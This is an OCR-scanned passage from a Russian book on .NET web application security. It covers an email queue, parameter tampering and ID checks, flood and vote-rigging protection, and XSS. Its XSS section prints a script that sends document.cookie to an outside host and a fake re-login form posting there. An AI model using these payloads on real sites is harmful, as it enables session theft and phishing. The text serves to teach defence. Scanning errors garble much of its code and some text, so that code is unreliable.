128
Глава 3
Created datetime.
Processingid nvarchar(100),
Retry int )
Эго просто таблица, в которой сохраняется вся необходимая для формирования письма информация: отправитель, получатель, тема, содержимое, дата и какие-то магические Processingid и Retry. Колонка Processingid будет использоваться для того, чтобы у нас могло быть несколько фоновых процессов для доставки почты одновременно, и при этом два разных процесса не брались доставлять одно и то же письмо. Колонка Retry поможет нам сделать несколько попыток доставки. Если одна попытка провалилась, возможно, почтовый сервер недоступен. Если три попытки провалились, возможно, с письмом что-то не так, и нужно оставить попытки доставить его.
Итак, очередь есть, но нужно еще хранилище для кода безопасности, который мы будем отправлять посетителю. Этот код можно хранить прямо в таблице пользователя user, но это сделает таблицу большой, и сканирование по ней будет очень медленным. Код проверки нужен нам очень редко, а точнее — только один раз, поэтому одноразовые коды: проверки почты, восстановления пароля и тому подобные я выношу в отдельную таблицу:
create table UserSecurity (
UseгSecurityId int identity(1, 1) primary key.
Userid int,
Verificationcode nvarchar(50)
)
Переходим к коду. Бизнес-уровень очереди почты будет содержать всего один метод — EnqueMessage, который помещает письмо в очередь:
public async Task<int> EnqueMessage(string email, string subject, string body) {
return await emailQueueDAL. Queue (
new DAL. Models. EmailQueueModel ()
{
EmailFrcm = From,
EmailTo = email,
EmailSubject = subject,
EmailBody = body,
Created = DateTime.Now
}
);
I
Здесь нет ничего особенного — мы просто вызываем уровень доступа к данным, который будет помещать письмо в очередь.
Теперь посмотрим, как мы используем этот уровень. Нам понадобится еще один класс бизнес-уровня: usersecurity — в котором будут определены такие сущности,
Безопасность NET-приложений 129
как забывание пароля и верификация аккаунта. Я продолжаю создавать много классов, полому что предпочитаю иметь множество интерфейсов, и классы мои должны реализовывать простые и легкие процедуры. Просто пока у нас возможностей мало, и поэтому появляются классы, состоящие всего из одного метода.
Так что пока у класса Usersecurity будет только один метод, который создает запись usersecurity в базе и тут же отправляет в очередь письмо с верификацией:
public async Task<int> CreateUserVerification(int userid, string email)
{
UserSecurityModel model = new UserSecurityModel () ;
model.UserId = userid;
model .Verificationcode = Guid.NewGuid () . ToString ();
int id = await userSecurityDAL.AddUserSecurity(model);
await emailqueue.EnqueMessage (email, "Account verification",
0$"Please confirm your email
http: //localhost/account/verification/ {model .Verificationcode} ");
return id;
}
Теперь в классе Authentication.es сразу после создания пользователя просто визы- ваем метод CreateUserVerification:
await userSecurity.CreateUserVerification(id, user.Email);
Всё, цикл создания письма в базе закончен. Да, это заняло какое-то количество времени и кода, потому что я разбиваю код на классы и стараюсь сделать его максимально хорошим. А поддерживаемый код требует времени и усилий.
3.4.2. Работа с очередью
Итак, письмо попало в очередь, и теперь нужно написать код, который будет обрабатывать письма, и при этом он должен быть защищен от гонки потоков/процессов так, чтобы одно и то же письмо не было отправлено двумя разными процессами.
Если мы просто будем выбирать из очереди одно письмо и пытаться его отправить, то это не защитит нас от гонки процессов. Но я покажу сейчас универсальный метод, который махаю реализовать с помощью чистого SQL:
Guid guid = Guid.NewGuidO ;
await connect ion. ExecuteAsync (0$ "update EmailQueue
set Processingid = Gid
where EmailQueueld in (
select top {emailslimit} EmailQueueld
from EmailQueue
where Process ingid is null and Retry < 5)", new { id = guid });
130
Глава 3
return await connection.QueryAsync<EmailQueueModel>(в" select *
from EmailQueue", new { id - guid });
Весь процесс делится на три простых шага:
□ первый — генерируем какое-то уникальное число или Guid. Я выбрал Guid;
□ второй — записать уникальное число (Guid) из первого шага в поле Processingid в таблице очереди для определенного количества записей. При этом обновляются только записи, где Processingid нулевой, — т. е. другой процесс не заблокировал их. Этим шагом мы как бы блокируем записи, чтобы их не выбрал другой процесс;
□ третий шаг самый простой — ищем заблокированные записи и возвращаем их.
Уровень доступа данных к обработке очереди готов. Можем переходить к бизнес- уровню, который будет обрабатывать полученные записи. Для этого я создал класс EmailProcessor С методом Process:
public static void Process(int emailslimit) {
var emails = queue.DeQueue(emailslimit).GetAwaiter().GetResult();
foreach (var email in emails)
try
emailclient.SendEmail(email.EmailTo, email.EmailFrom, email.Emailsubject, email.EmailBody);
queue.Delete(email.EmailQueueld).GetAwaiter().GetResult();
catch () {
queue.Retry(email.EmailQueueld).GetAwaiter().GetResult(); }
Почему метод статичный (static)? Для .NET есть решения, которые позволяют написать автозапуски для статичных методов, а можно написать что-то свое. Я как раз так и делал в своей работе — написал небольшую программу, которой в качестве параметра нужно передать статичный метод, который программа и выполнит. Вы можете сделать так же, но пока эта тема выходит за рамки нашего обсуждения. Есть и еще один вариант запуска этого бизнес-уровня из консоли — просто написать простую консольную утилиту, которая будет вызывать этот конкретный метод. Если ваш сайт пишется для облака, то можно его перенести и туда.
Однако статичный метод дает чуть больше гибкости за счет простоты вызова метода. В самом методе я получаю из очереди определенное количество писем и начинаю обрабатывать их в цикле. Можно обрабатывать по одному письму, а можно брать сразу же по нескольку писем из очереди — это зависит от нагрузки на очередь. Число писем можно настроить в процессе работы.
Безопасность .NET-приложений
131
Теперь сам процесс обработки очереди: сначала пытаемся отправить письмо, а когда письмо отправлено, оно удаляется из очереди.
Если происходит какая-то ошибка, то вызывается метод Retry, который увеличивает в базе данных количество попыток и очищает Processingid, чтобы другой процесс попробовал отправить это письмо:
return await connection.ExecuteAsync(0"
update EmailQueue
set Processingid = null, Retry = Retry + 1
where EmailQueueld = 0id
", new { id = emailQueueld });
Можно усложнить очередь и добавить буфер между попытками отправить письмо— если почтовый сервер недоступен и у вас в несколько процессов идет отправка писем, то поле Retry быстро увеличится до предела и письмо не будет отправлено. Это я пока не буду реализовывать — возможно, в код, размещенный в файловом архиве, сопровождающем книгу, добавлю. Просто вопрос добавки дополнительной отсрочки между отправками — это больше вопрос техники, чем безопасности.
3.4.3. Отправляем письма
Как я уже отмечал, отправка писем — весьма медленный процесс, поэтому его нужно делать в каком-то отдельном потоке или обрабатывать в фоне в виде очереди.
В самом процессе отправки писем ничего сложного нет. Проблема может быть связана с его настройкой, потому что SMTP-серверы отправки почты могут требовать соблюдения определенных правил, иначе отправляемое письмо будет проигнорировано. Например, email-адрес, который вы указываете в качестве адреса отправителя, должен быть корректный и существовать. Почтовые серверы часто отбрасывают письма от несуществующих email-адресов.
Сама отправка письма достаточно простая:
public void SendEmail(string to, string from, string subject, string body)
{
SmtpClient smtpClient = new SmtpClient();
smtpClient .Host = ’’smtp.gmail.com”;
smtpClient.Port = smtpPort;
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = new Networkcredential(username, password);
var message = new MailMessage(
new MailAddress(from), new MailAddress(to));
message.Subject = subject;
message.Body = body;
132
Глава 3
snrtpClient. Send (message);
Здесь я показал пример отправки почты через сервер Google, который требует SSL- соединения. Сейчас этого требуют большинство серверов.
Чтобы использовать Gmail, можно создать пароль для устройства. В настройках Google-аккаунта2 есть ссылка Арр passwords (Пароль приложения), которая открывает страницу, показанную на рис. 3.5. В нижней части страницы имеются два выпадающих списка. В первом списке выбираем Other (Другие), после чего нужно указать любое имя (я указал mytest — вы можете видеть это имя на скриншоте). После этого Gmail сгенерирует пароль, который можно использовать для отправки писем.
Рис. 3.5. Пароль приложения Gmai
Посмотрев сейчас на эту страницу, я задался вопросом: почему там указан старый пароль приложения iPhone еще от 2015 года? Вот так люди забывают про какой-то пароль, и потом возникают проблемы. Надо бы его удалить...
2 См. https^/myaccowat^oogie.eom/MC«rTty.
Безопасность .NET-приложений 133
3.5. Подделка параметров
Рассмотрение уязвимости подделки параметров (parameter tampering) мы начнем на примере добавления заметок. Давайте добавим на сайт возможность создания заметок — сделаем как бы блог для всех. Любой зарегистрированный посетитель сможет добавлять на сайт что-то типа заметки, и мы потом будем их отображать.
Точно таким же образом на сайтах могут работать комментарии или те же заметки в социальных сетях. Смысл ситуации в том, что мы сохраняем что-то, что получаем от посетителей.
Для хранения заметок в базе данных создадим следующую таблицу:
create table Blog (
Blogld int identity(1, 1) primary key.
Title nvarchar(200),
Content ntext.
Created datetime,
Userid nvarchar(100),
Status int )
Сначала мы рассмотрим уязвимость модели — подобные уязвимости я видел несколько раз в коде даже достаточно крупных проектов.
Чтобы сохранить заметку в базу, нам понадобится модель представления, содержащая заголовок, текст сообщения и ID пользователя:
public class BlogViewModel {
public string? Title { get; set; }
public string? Content { get; set; }
public int? Userid { get; set; } }
Теперь в форме представления мы будем запрашивать у пользователя ввод заголовка и текста заметки, и при этом очень удобно было бы спрятать в форме id пользователя:
<form method="post”>
<input type=”hidden” userid=”@Model.Userid ” />
<P>
<1abe1>3аголовок</1abe1>
<input type="text” name=”title” value=”@Model.Title” />
<div class=”error”>@Html.ValidationMessageFor(m => m.Title)</div>
</p>
<P>
<1abe1>Текст</labe1>
<textarea name="content">@Model.Content</textarea>
<div class="error">@Html.ValidationMessageFor(m => m.Content)</div>
</p>
134
Гпава 3
<button>flo6asMTb</button>
</form>
Ну и теперь контроллер:
[HttpGet]
[Route("/blog/add") ]
public async Task<IActionResult> AddActionO { var userdata = await currentuser.GetUserData(); var model « new BlogViewModel();
model.Userid = userdata.Userid;
return View (’’Edit”, model);
}
Я как-то видел подобный случай — программисту было очень удобно получить доступ к userid из контроллера и спрятать в форме. Когда посетитель отправит форму на сервер, то модель уже будет содержать всю нужную информацию, и ее только надо будет передать коду бизнес-логики для последующего сохранения в базе данных.
Но вот только проблема в том, что хакер может открыть в браузере утилиту разработчика, изменить скрытое поле с идентификатором посетителя и опубликовать запись от чьего-то другого имени. И это еще самый безобидный вариант использования скрытых полей.
Может, убрать скрытое поле, и тогда проблема решена? К сожалению, нет. Даже если убрать скрытое поле для хранения идентификатора посетителя, хакер может добавить его с помощью утилиты разработчика. Есть инструменты, с помощью которых можно создавать совершенно любой запрос, в том числе и передавать параметры, которых нет на форме.
В коде одного электронного магазина я нашел идентификатор заказа. Изменив его на другой, можно было увидеть покупки других посетителей и даже адреса доставки этих заказов. Хорошо, что еще данные кредитных карт не отображались, хотя и без этого такая уязвимость уже считается серьезной, потому что хакеры могут узнать персональные данные посетителей сайта.
Прежде чем помещать в модель или форму какие-то данные, стоит подумать: а действительно ли эти данные должны быть в модели, и должен ли посетитель иметь доступ к этим данным? Даже скрытые поля, как в приведенном только что примере:
<input type=”hidden” userid=”@Model.Userid ” />
нужно воспринимать как открытые. Это касается не только .NET, но и любого языка веб-программирования.
В нашем случае в модели представления Userid точно не нужен, поэтому удаляем это свойство из модели и удаляем hidden поле ввода из кода представления.
Я не зря использую специальные модели представления для работы с данными в cshtml-файлах. Если для отображения данных можно передавать их в представле-
Безопасность .NET-приложений
135
ния модели уровня данных или бизнес-уровня, то в формах должны содержаться только специальные формы представления, в которых будут иметься лишь те колонки, которые безопасны с точки зрения изменения хакером.
Метод контроллера, который отвечает за запрос GET, сокращается до минимума:
[HttpGet]
[Route(”/blog/add”)]
public lActionResult AddActionO
{
return View(”Edit", new BlogViewModel());
}
А вот метод POST немного усложняется:
[HttpPost]
[Route(”/blog/add”)]
public async Task<IActionResult> AddPostAction(BlogViewModel model)
{
if (Modelstate.IsValid)
{
var userdata = await currentuser.GetUserData();
var blmodel = model.ToBlogModel();
blmodel.Userid = userdata.Userid;
await blog.Add(blmodel);
return Redirect(”/”);
}
return View("Edit”, model);
}
Теперь при отправке данных на сервер мы добавляем в модель уровня DAL нужный идентификатор пользователя, и на этот процесс хакер повлиять не может.
Кто-то может спросить, а почему нужно назначать ID пользователя в контроллере, а не в уровне бизнес-логики? Хороший вопрос, но это уже больше из темы дизайна приложения, а не безопасности. Да, так можно сделать, но в этом случае бизнес- метод будет привязан к конкретному посетителю. В моем примере класс Blog не имеет зависимостей от текущего посетителя и может сохранять записи для любого посетителя. Лишние связи в бизнес-логике могут негативно повлиять на гибкость и читаемость кода. Это мое личное мнение, которое вы можете учитывать или нет.
Метод добавления записей в блог на уровне бизнес-логики достаточно простой:
public async Task<int> Add(BlogModel model)
{
model.Created = DateTime.Now;
model.Status = 0;
return await blogDAL.Add(model);
}
При создании записи логично задать дату ее создания и установить ей статус. Зачем нужен статус? В Интернете много спама, и чтобы защититься от него, мы будем
136
Глава 3
создавать записи со статусом 0, и тогда эти записи будут ожидать подтверждения. Если администратор сочтет, что данные в записи безопасны, он может утвердить запись, изменив статус на единицу, после чего информация уже будет отображаться на сайте.
Это самый простой вариант, когда мы могли совсем избавиться от использования чувствительной информации в запросе, которая могла бы повлиять на безопасность.
У меня есть обучающий проект www.resunet.ru, на котором зарегистрированные пользователи могут загружать свои статьи. Чтобы отредактировать статью, нужно обратиться к URL: https://www.resunet.ru/profile/post/12.
Здесь число 12 — это идентификатор редактируемой статьи. Его невозможно спрятать, он должен быть частью URL или скрыт в форме, потому что серверу нужно знать, какую именно статью редактирует посетитель.
Но если хакер изменит это число на другое, принадлежащее другому посетителю, то он сможет отредактировать чужую статью.
Проверка на то, что статья принадлежит текущему посетителю, должна производиться как при загрузки статьи, так и при ее сохранении. Покажу, как выглядит метод загрузки:
[HttpGet]
[Route("/profile/post/{id}”)]
public async Task<IActionResult> Edit(int id) {
var userid = await currentuser.GetCurrentUserld() ?? 0;
PostViewModel viewmodel;
if (id != 0) {
var postModel = await this.post.GetPost(id);
if (postModel = null | | postModel.Userid ?= userid) { return this.NotFbundO ;
viewmodel = MapPostModelToPostViewModel (postModel);
}
else {
viewmodel = new PostViewModel ();
}
return View("Edit”, viewmodel); }
Я выделил здесь строки, где происходит проверка на то, что текущий посетитель действительно является автором статьи.
Такая же проверка происходит и при сохранении, потому что хакер с помощью специальных утилит сможет сразу же направить POST-запрос на сервер на изменение чужой статьи.
Безопасность .NET-приложений 137
На сервер прилетает достаточно сложная модель данных:
public class PostViewModel {
public int? PostId { get; set; }
[Required (ErrorMessage = "Заголовок обязателен")]
public string? Title { get; set; }
[Required (ErrorMessage = "Описание обязателен©")] public string? Intro { get; set; }
public List<PostContentItemViewModel> Contentitems { get; set; } }
Здесь есть идентификатор статьи, который, как я уже сказал, нужно проверять, заголовок статьи, небольшое введение и элементы статьи contentitems. Список элементов статьи тоже может привести к потенциальной угрозе — посмотрим, как выглядит этот класс:
public class PostContentltemViewModel {
public enum Content I temTypeEnum { Text, Image, Title, Youtube }
public int? PostContentId { get; set; }
public int ContentltemType { get; set; }
public string? Value { get; set; } }
Проблема в том, что здесь тоже есть ID Postcontentid, и хакер может попробовать изменить его на чужой, чтобы попытаться воздействовать на чужие данные.
Везде, где вы видите идентификаторы, нужно задумываться о безопасности и убеждаться, что изменение значения невозможно и все необходимые проверки предусмотрены.
Я в этом проекте в качестве идентификаторов применяю простые числа, потому что они просты в использовании и их достаточно для работы. В C# числа имеют размер в 32 бита.
Некоторые разработчики задействуют вместо чисел глобальные идентификаторы GUID. Такие идентификаторы занимают аж 128 битов, что увеличивает необходимое пространство, но при этом обеспечивают уникальность. Подобрать или угадать глобальный идентификатор практически невозможно.
Если бы в качестве идентификатора использовался GUID, то мой URL приобрел бы следующий вид:
https://www.resunet.ru/profile/post/a9c3bafa-lade-47d0-ab2R-0de057d09986
138
Глава 3
Он уже не такой красивый, но зато хакер не сможет угадать, какой идентификатор принадлежит другой статье. И да — угадать невозможно, но если этот идентификатор где-то появится — в журналах безопасности, например, или будет виден где- либо в других частях сайта, то хакер сможет использовать ставшее известным ему значение.
На мой взгляд, GUID может расслабить программиста, и он забудет сделать необходимые проверки. Но, с другой стороны, если вы действительно забудете сделать проверки, то уникальность и непредсказуемость GUID может помочь с защитой.
Числовые идентификаторы:
□ занимают меньше места в памяти и на диске, поэтому быстрее работают при создании индексов на стороне систем управления базами данных;
□ легко сортируются;
□ с ними проще делать постраничный просмотр;
□ легко запоминаются и выглядят красиво;
□ но небезопасны!
Уникальные идентификаторы:
□ относительно безопасны, хотя все зависит от реализации;
□ уникальны глобально, поэтому могут использоваться в распределенных системах;
□ но некрасивые;
□ их трудно запомнить;
□ требуют больше места.
Я использую числа и просто проверю данные максимально жестко, чтобы хакер не смог подделать параметры.
Как было показано ранее, я предпочитаю использовать специальные модели представления и в контроллере безопасно копирую данные в модель данных. При этом копируются только те данные, которые можно безопасно копировать.
Но можно было бы обойтись и одной моделью. Рассмотрим следующий контроллер:
public class Modelcontroller : Controller {
[HttpGet]
[Route(’’/model/add”) ]
public lActionResult AddActionO {
return View (’’Add”, new BlogModel () );
}
[HttpPost]
[Route (’’/model/add”) ]
Безопасность .NET-припожений 139
public lActionResult AddAction(BlogModel model) {
return View("Add", model);
} )
Первый метод AddAction отображает форму, а второй метод с таким же именем получает модель и просто отображает ее же через представление. Никаких сохранений данных нет — нам просто нужно протестировать, как данные отражаются на модели.
Самое важное из представления Views/Model/Add.cshtml:
@model MyBlog.DAL.Models.BlogModel
<form method="post" >
<input type-"hidden" name="User!d" value="@Model.Userid" />
<p>Id пользователя SModel.Userld</p>
<p>
<1аЬе1>Заголовок</1аЬе1>
<input type“"text" name="Title" value="@Model.Title" />
<div class="error">@Html.ValidationMessageFor(m -> m.Title)</div>
</p>
<button>flo6aBMTb </button»
</form>
Здесь представлена форма, у которой два поля: скрытое userid и видимое Title. Для удобства тестирования можно сделать userid видимым или изменять его в браузере с помощью утилит разработчика. Весь этот код доступен в папке /MyBlog/MyBlog файлового архива, сопровождающего книгу (см. приложение).
Запустите сайт, измените значение userid через утилиты разработчика и нажмите кнопку Добавить — идентификатор посетителя отобразится на странице. Я специально добавил к представлению отображение текущего значения userid:
<p>Id пользователя @Model.UserId</p>
Как мы уже поняли, это плохо: хакер может воздействовать на записи других посетителей.
Можно реализовать защиту без введения дополнительного уровня в виде модели представления. Для этого перед параметром надо указать Bind и в скобках записать колонки, которые разрешено копировать из запроса, пришедшего от посетителя. В следующем примере я указал только два поля: заголовок (Title) и содержимое (Content):
[HttpPost]
[Route (’’/model/add”) ]
public lActionResult AddAction ([Bind("Title, Content") ]BlogModel model) {
return View("Add", model);
140
Гпава 3
И это работает. Теперь идентификатор пользователя не будет копироваться.
Но я все же всегда создаю модели представлений, потому что это безопасно и надежно. Помимо этого, можно добавить дополнительные проверки данных с помощью атрибутов. В следующем примере я добавил атрибут Required, который будет гарантировать, что посетитель предоставит значения, и атрибут MaxLength, с помощью которого можно указать максимальный размер для поля:
public class BlogViewModel {
[Required]
[MaxLength(50, ErrorMessage = ’’Слишком длиный заголовок”)]
public string? Title { get; set; }
[Required]
[MaxLength(1000)]
public string? Content { get; set; }
I
Всегда указывайте эти атрибуты, чтобы .NET проверял за вас данные и гарантировал, что посетитель не отправит слишком много данных. В принципе, выход за пределы максимального размера в .NET ни к чему плохому не приведет. Обычно это заканчивается исключительной ситуацией, но даже ее лучше избежать.
В разд. 2.3 мы уже говорили о проверке данных с помощью атрибутов, когда рассматривали форму для регистрации посетителя.
3.6. Злуд
Большинство хакеров начинают свою карьеру с небольших шалостей, одной из которых является флуд (flood). Что это такое? Одной из самых популярных функций на сайтах является возможность оставлять комментарии под заметками. Злоумышленник может попытаться засыпать базу данных бессмысленными сообщениями. Кому-то такое поведение покажется смешным, но я вижу в нем только глупость и детскую шалость (на самом деле я про себя определяю это совсем другими словами, но такие слова не зря называются непечатными).
Одним из лучших способов защиты от флуда является CAPTCHA, но даже с ней в моем блоге www.flenov.info регулярно появляются комментарии от спамеров. Капча защищает от массовых сообщений, но от единичных спамеров защитить не может.
В качестве защиты от флуда можно установить запрет на отправку с одного и того же IP-адреса нескольких сообщений подряд. Для этого надо после отправки посетителем сообщения сохранять его IP-адрес и текущее время на сервере в базе данных. Хранить адрес необходимо именно на сервере, потому что все, что находится на компьютере-клиенте, без проблем уничтожается или изменяется.
Недостаток метода заключается в том, что он полезен только на малопосещаемых сайтах. Если сайт активно посещается и интересен хакеру, то он напишет програм-
Безопасность .NET-пршюжений
141
му, которая будет через определенные промежутки забрасывать ваш сайт флудом. Есть и еще один существенный недостаток: множество посетителей скрыты за прокси-серверами, и все они видны в сети под одним и тем же IP-адресом. То есть сотни посетителей от одного провайдера или из одной компании покажутся такой защите одним посетителем. Если кто-то из них оставит сообщение и «засветится» в базе данных, то в течение времени защиты от флуда ни один из пользователей этого провайдера не сможет оставить сообщение.
Флуд может использоваться и для накруток голосования — злоумышленник отдает свой голос за один и тот же вариант ответа несколько раз, сделав голосование необъективным.
Первое, что приходит в голову для защиты от такого флуда, — сохранить на диске посетителя файл cookie, в котором будет присутствовать параметр, указывающий на то, что посетитель уже проголосовал. Десять лет назад система голосования на сайте www.download.com не имела абсолютно никакой защиты от флуда, и можно было воспользоваться простейшим способом быстрого клика: вы заходите на сайт, выбираете нужный вариант ответа и начинаете быстро щелкать на кнопке Отпра- ВИТЬ.
Используя файлы cookie, можно организовать защиту от такого флуда, имитировав соединение по простой медленной телефонной линии. Тогда для отправки вашего ответа и получения подтверждения (т. е. cookie-файла) понадобится определенное время. Если в момент пересылки/получения пакета повторно нажать кнопку Отправить, то предыдущая посылка на клиентской стороне считается незавершенной, отменяется, и начинает работать новый сеанс обмена данными. Когда же в ответ на первую отправку придет подтверждение сервера и просьба изменить файл cookie, запрос будет отклонен из-за несовпадения сеансов.
В утилите разработчика браузера Chrome можно симулировать медленную связь так, чтобы браузер отправлял и обрабатывал запросы с задержками телефонной линии. Если быстро щелкать на кнопке Отправить, то будут отправляться пакеты с вашими вариантами ответа, сервер их обработает и добавит полученные голоса. А вот ваш компьютер станет отклонять подтверждения, пока не произойдет одно из следующих событий:
□ если вы прекратите быстро щелкать на кнопке отправки ответа, то браузер примет файл cookie, полученный в результате последнего щелчка, и сохранит его;
□ если между щелчками на кнопке отправки сервер обработал запрос, а ваш компьютер успел принять подтверждение, то файл будет создан, а дальнейшие щелчки станут невозможными.
Чтобы оставить новое сообщение, придется удалить файл cookie и только после этого повторить попытку. Но всегда можно использовать анонимный режим браузера, который создает сессию с чистого листа и игнорирует все файлы сооке на компьютере пользователя.
Так что снова для защиты от подобной накрутки отличным средством можно признать капчу.
142
Глава 3
Вариантов накрутки сценариев голосований много, и мы рассмотрели только один — самый простой. Вы можете познакомиться и с другими вариантами накрутки в моей книге «Web-сервер глазами хакера» [2]. Наша же задача — рассмотреть эффективный метод защиты от накрутки.
Большинство сайтов в последнее время стали разрешать голосование только зарегистрированным посетителям. Это хотя и создает более эффективную защиту от флуда, но изначально ограничивает круг людей, которые могут выразить свое мнение. Дело в том, что не каждый захочет регистрироваться только лишь ради того, чтобы оставить голос. Я, например, ненавижу регистрироваться на сайтах и терпеть не могу форумы, потому что там надо заполнять какие-то формы лишь для того, чтобы пообщаться или задать вопрос другим. И я не оставляю свои сообщения в блогах, если для этого там нужно зарегистрироваться.
На сайтах, где разрешено голосовать только зарегистрированным посетителям, хакеру, чтобы проголосовать, понадобится зарегистрироваться, а если этот процесс потребует действительного адреса email (на который будет отправляться код подтверждения), то для того, чтобы отдать фальшивый голос, хакеру придется выполнить следующие действия:
1. Зарегистрировать почтовый ящик на любой бесплатной службе. Благо таких служб в Интернете достаточно, и это не составит особого труда.
2. Зарегистрироваться на сайте с указанием зарегистрированного ящика, куда будет выслан код подтверждения.
3. Активировать учетную запись и проголосовать.
Все эти шаги несложные, но отнимают очень много времени и сил, а хакеры ленивы и не будут заниматься подобными вещами, зато добропорядочным посетителям мы добавим лишних хлопот.
Получается, что любому голосованию в Интернете нельзя доверять, потому что оно может не отражать действительность. На самом же деле, в любом голосовании всегда есть погрешность. Только в интернет-голосовании она может быть немного выше.
3.7. Х55: межсайтовый скриптинг
Рассматриваемая в этом разделе атака связана с одной и той же проблемой — ошибками во фронтенде (коде, который выполняется в браузере). Чаще всего, для ее названия употребляется аббревиатура XSS — хотя на английском языке атака называется Cross-Site Scripting (межсайтовый скриптинг). Есть предположение, что первую букву в аббревиатуре поменяли на X, чтобы она не вызывала ассоциации с другим популярным сокращением — CSS (каскадными таблицами стилей).
На мой взгляд, название «межсайтовый скриптинг» не совсем отражает проблему и процесс атаки. Если бы я выбирал для нее название, то это было бы что-то типа Front-end Injection. Если в SQL-инъекции хакер внедряет что-то в SQL-запрос для выполнения кода на сервере базы данных (инъекция внедряет код для выполнения
Безопасность .NET-припожений
143
на веб-сервере), то атака XSS заключается во внедрении какого-то кода HTML/JS, который выполнялся бы в браузере.
Когда атака XSS только появилась, то в ее опасность поверили не сразу. Ну и что страшного, если на страницу сайта можно внедрить JS-код или HTML-разметку? Но со временем стали появляться векторы атак, которые приводили к очень серьезным последствиям.
В одной из первых атак:
1. Создавали специальную ссылку, в которой хранился зловредный код, отправляющий значения cookies на определенный сервер.
2. Постили эту ссылку на каком-либо форуме и ждали, когда какой-нибудь посетитель щелкнет на ней и его cookie попадут в руки хакера.
Таким образом хакеры воровали авторизации, и именно поэтому я ранее и утверждал, что cookie-файлы авторизации должны быть защищены от доступа из JavaScript путем установки в true параметра HttpOniy. Когда XSS-уязвимость только появилась, такого параметра не было, и никто о нем не думал.
Возможность украсть авторизацию стала первым доказательством того, что XSS — это серьезная проблема. Со временем стали появляться и другие векторы атак, и сейчас XSS находится на третьем месте среди самых опасных уязвимостей.
Суть XSS в том, что ссылка, имеющаяся на одном сайте, становилась триггером выполнения злонамеренного кода на другом. Мне кажется, именно это и подтолкнуло Интернет к названию «межсайтовый скриптинг». Но он далеко не всегда межсайтовый, бывает еще и хранимый, — ссылку можно отправить по почте (хотя почту обычно относят к частному случаю веб-эксплуатации), в общем, вариантов много. Но почти всегда целью является внедрение кода JS или HTML с целью использования его в браузере.
Так как уязвимость XSS находится во фронтенде, который выполняется в браузере, разработчики браузеров стали пытаться защищать пользователей от ошибок программистов. И тут началась гонка защитных механизмов браузеров с воображением и смекалкой хакеров.
Один из вариантов защиты — запретить выполнять на сайте код, который был загружен с других доменов. Это работает, но далеко не всегда, и эту проблему мы рассмотрим чуть позже. Браузеры пытались находить вредный код и блокировать его, но и это не сильно спасает пользователей, а, на мой взгляд, даже вредит, потому что внушает пользователю ложное ощущение безопасности.
XSS — это серьезная уязвимость, от которой нужно защищаться на стороне сервера, и защиту эту должны реализовывать программисты сайтов, а не браузеров.
3.7.1. Защита от XSS в .NET
Разработчики Microsoft позаботились о нас и предусмотрели такую защиту во фреймворке — она работает уже по умолчанию. Давайте рассмотрим небольшой пример страницы, на которой станем тестировать дальнейшие примеры.
144
Глава 3
Я создал новый контроллер xsstestcontrolier с одним методом:
[Route("/xsstest")]
public lActionResult Index(string id)
return View("Index", id);
Метод принимает в качестве параметра строку, и эту строку мы передаем представлению. В самом представлении просто отображаем значение, полученное от посетителя:
О13>3начение параметра Id:</h3>
<p>@Model</p>
Самый простой способ проверить такой пример на наличие XSS-уязвимости — это передать в качестве параметра какие-то теги. Например:
http://localhost:37741/xsstest?id=<hl>test</hl>
В этом примере я в параметре id передаю HTML-код: <hl>test</hl>.
В результате на странице мы должны увидеть именно то, что было передано в виде текста (рис. 3.6). Хотя я передал в качестве параметра HTML-код, который в теории должен форматировать текст, никакого форматирования не произошло — мы видим просто текст, и это значит, что XSS-уязвимости нет.
Рис. 3.6. Отображение значения без форматирования
Безопасность .NET-лриложений 145
Если посмотреть на исходный код страницы, то можно увидеть следующий HTML- код:
<ЬЗ>Значение параметра Id:</h3>
<p><hl>test</hl></p>
Угловые скобки вокруг тега hi здесь заменены на их HTML-эквиваленты: ⁢ И >.
Это и есть поведение фреймворка по умолчанию при отображении переменных в представлениях — опасные HTML-символы экранируются.
Зачем обсуждать уязвимость, которой нет? Ее нет по умолчанию, но это не значит, что ее нет вовсе. Razer позволяет нам выводить переменные без экранирования С ПОМОЩЬЮ Html.Raw:
<p>@Html. Raw (Model) </p>
Если теперь запустить сайт и загрузить тот же самый URL, то вы увидите уже отформатированный текст, а не теги (рис 3.7), и это указывает на наличие проблемы.
Рис. 3.7. Значение отображается с форматированием
Лучший способ защиты от XSS в .NET — не использовать Html.Raw, но иногда он действительно необходим. Сначала мы рассмотрим несколько примеров уязвимости на тестовой странице, которую я представил в этом разделе, а потом посмотрим на более близкий к реальности пример.
146
Глава 3
3.7.2. Примеры эксплуатации XSS
Для тестирования примеров переменная должна отображаться в чистом виде:
<p>@Html.Raw(Model)</р>
Чтобы убедиться, что уязвимости в поведении по умолчанию нет, просто уберите ВЫЗОВ Html.Raw.
Начнем с классики, благодаря которой к XSS-уязвимости перестали относиться не как к какой-то игрушке, а восприняли ее максимально серьезно — как воровство cookie, с помощью которых можно украсть и сессию.
Чтобы увидеть cookie, мы должны передать в качестве параметра следующий JavaScript-код:
<script>alert(document.cookie)</script>
или
http://localhost:37741/xsstest?id=<script>alert(document.cookie)</script>
Результат показан на рис. 3.8. Чтобы окно не было пустым, я с помощью утилиты разработчика отключил флаг HttpOniy для печеньки RememberMe, для чего просто щелкнул в соответствующей колонке у значения cookie, сняв установленный там флажок.
Рис. 3.8. Значения cookie
Если хакер попробует выполнить такой код, то он ничего не выиграет, потому что cookie просто отобразится пользователю, и веб... Чтобы украсть значение cookie, его нужно отправить на какой-то сайт. Следующий код отправляет это значение на мой персональный блог:
Безопасность .NET-припожений
147
<script>
$.get(%27http://www.flenov.info?id=%27%20%2B%20document.cookie) </script>
Я разбил этот код на несколько строк, но в реальности нужно собрать всё это в одну строку.
Если запустить этот пример и посмотреть в утилите разработчика на вкладку Developer Tools (рис. 3.9), вы увидите запрос, который был отправлен на мой сайт, — эта строка будет подсвечена красным, а в колонке статуса появится запись CORS Error (Cross-Origin Resource Sharing, разделение ресурсов между различными источниками). Это как раз сработала функция браузера, которая защищает посетителя от такой явной попытки хакера украсть его данные.
Рис. 3.9. Ошибка CORS
А что если мы попытаемся отправить на сервер следующий код (тоже записанный в одну строку):
<form action="http://www.flenov.info">
<h2>Please login again</h2>
<input type="password"/>
<button>Submit</button>
</form>
